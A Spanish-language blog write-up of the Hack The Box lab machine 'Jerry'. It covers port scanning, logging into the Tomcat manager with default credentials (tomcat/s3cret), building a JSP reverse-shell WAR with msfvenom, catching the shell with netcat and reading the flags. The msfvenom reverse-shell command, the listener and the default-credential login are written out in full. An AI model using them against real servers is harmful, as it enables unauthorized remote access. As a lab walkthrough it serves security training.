F1r0x
Blog sobre informática Y ciberseguridad.
GitHub
Captura de pantalla -2022-05-09 09-36-58

HTB-Jerry

En primer lugar, nos creamos un directorio con el nombre de la máquina desde el que trabajaremos:

sudo mkdir Jerry

Ahora, mediante la función mkt que tengo previamente definida en la .zhshrc crearemos nuestros directorios de trabajo:

sudo mkt

Esta función está definida para crearnos cuatro directorios (nmap, content, exploits y scripts) desde los cuales poder trabajar a la hora de realizar las máquinas de HTB.

Fase de Reconocimiento:

Ejecutamos un ping y vemos como nos reporta un ttl=127, por tanto, ya sabemos que estamos frente una máquina Windows.

ping -c 1 10.10.10.95

Captura de pantalla -2022-05-09 09-41-43

Ahora vamos a ver mediante whatweb que más podemos ver:

whatweb 10.10.10.95

Captura de pantalla -2022-05-09 09-48-48

Nos reporta un erro al tratar de acceder. Por tanto, vamos a realizar mediante nmap una serie de escaneos para ver que puertos se encuentran abiertos, primero realizaré un escaneo básico:

nmap -p- --open -T5 -v -n 10.10.10.95 -oG allPorts

-oG : Exportar los resultados en formato grepeable.

allPorts : Nombre del archivo. Si no existe lo creará.

Guardamos los resultados en el archivo allPorts, de esta manera podremos revisar los puertos que estaban abiertos en cualquier momento.

Captura de pantalla -2022-05-09 10-02-16

Captura de pantalla -2022-05-09 10-02-34

Como podemos ver, nos reporta que el puerto 8080 está abierto, vamos a proceder a un segundo escaneo especificando que quereros utilizar la variable --script http-enum en el puerto 8080 y guardaremos los resultados en el archivo targetenum.

sudo nmap --script http-enum -p8080 10.10.10.95 -oN targetenum 

Captura de pantalla -2022-05-07 15-15-30

Captura de pantalla -2022-05-07 15-24-03

Vemos que en el puerto 8080 corre un servicio http, por tanto, vamos a intentar acceder mediante el navegador de Firefox.

Captura de pantalla -2022-05-07 15-09-34

Vemos que al intentar acceder al dominio http://10.10.10.95 la página no termina de cargar, pero tampoco reporta ningún error. Por tanto, lo siguiente que probaremos será especificar el puerto en el que corre el servicio, por tanto, intentamos acceder al dominio http://10.10.10.95:8080.

Captura de pantalla -2022-05-07 15-11-45

Captura de pantalla -2022-05-07 15-09-34

Fase de Inrusión:

Genial ya nos carga la página, vemos que se trata de la página oficial de un programa llamado Tomcat. Lo siguiente que vamos a probar, es tratar de acceder al directorio ./manager/html.

Captura de pantalla -2022-05-07 15-17-15

Captura de pantalla -2022-05-07 15-17-33

Nos muestra una ventana de registro, como se trata de una máquina fácil, podemos probar con combinaciones básicas para ver si conseguimos ingresar de manera sencilla.

Captura de pantalla -2022-05-07 15-17-43

Tras probar algunas combinaciones vemos que utilizando el usuario admin y la contraseña admin nos reporta este mensaje con un error de servicio 403.

Captura de pantalla -2022-05-07 15-18-05

Vemos como nos indica un ejemplo, donde nos muestra unas credenciales que se han usado para mostrar el ejemplo.

Captura de pantalla -2022-05-07 15-20-56

Tratamos de acceder al panel anterior mediante estas credenciales a ver si nos permite registrarnos como el usuario tomcat y empleando la contraseña s3cret.

Captura de pantalla -2022-05-07 15-20-56

Captura de pantalla -2022-05-09 10-23-23

Captura de pantalla -2022-05-07 15-22-16

Las credenciales funcionan y nos lleva hasta una página que parece gestionar aplicaciones.

Tras revisar la página vemos que nos permite subir archivos, así que vamos a tratar de buscar alguna herramienta que nos permita crear una shell inversa desde la cual poder interactuar con la máquina.

Creación de una Reverse Shell mediante MsfVenom:

Mediante msfvenom podemos tratar de comprobar una gran cantidad de herramientas:

msfvenom -l payloads

Captura de pantalla -2022-05-07 15-25-25

Captura de pantalla -2022-05-07 15-27-24

Vamos a emplear la herramienta jsp_shell_reverse_tcp. Esta herramienta, especificándole nuestro host de escucha y el puerto mediante el siguiente comando, nos creará un archivo en formato .war capaz de crear una shell inversa desde la máquina víctima.

Captura de pantalla -2022-05-09 11-02-02

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.14.29 LPORT=8080 -f war -o shell.war

Captura de pantalla -2022-05-09 11-02-02

Una vez creado nuestro archivo shell.war vamos a subirlo a la máquina víctima, pero antes, debemos mover nuestro archivo al directorio Descargas/Downloads:

Captura de pantalla -2022-05-07 15-32-25

Ahora, mediante el apartado de la página llamado Archivo WAR a desplegar subimos nuestro archivo shell.war.

Captura de pantalla -2022-05-07 15-32-55

Captura de pantalla -2022-05-07 15-33-38

Captura de pantalla -2022-05-07 15-34-28

Captura de pantalla -2022-05-07 15-34-42

Recargamos la página y vemos como aparece nuestro archivo. El siguiente paso será ponerlo en escucha por el puerto 8080 mediante nc como se trata de un sistema Windows utilizaremos rlwarp:

rlwrap nc -lvnp 8080

Captura de pantalla -2022-05-09 11-07-21

Captura de pantalla -2022-05-09 11-07-30

Ahora, para ejecutar el archivo, simplemente nos vamos a la página y lo pulsamos.

Captura de pantalla -2022-05-09 11-49-32

Vemos como la shell se nos despliega en la terminal que tenemos en escucha con Netcat.

Captura de pantalla -2022-05-09 11-55-16

Está máquina ya está básicamente terminada, ya que las dos flags se encuentran en el mismo archivo, el cual se encuentra en el directorio C:\Users\Administrator\Desktop\flags:

cd /Users/Administrator/Desktop/flags

Vemos como dentro del directorio flags se encuentra el archivo 2 for the price at 1.txt

Captura de pantalla -2022-05-09 12-01-47

Y finalmente, mediante type podemos visualizar el contenido:

Captura de pantalla -2022-05-07 15-59-28

Captura de pantalla -2022-05-09 09-36-58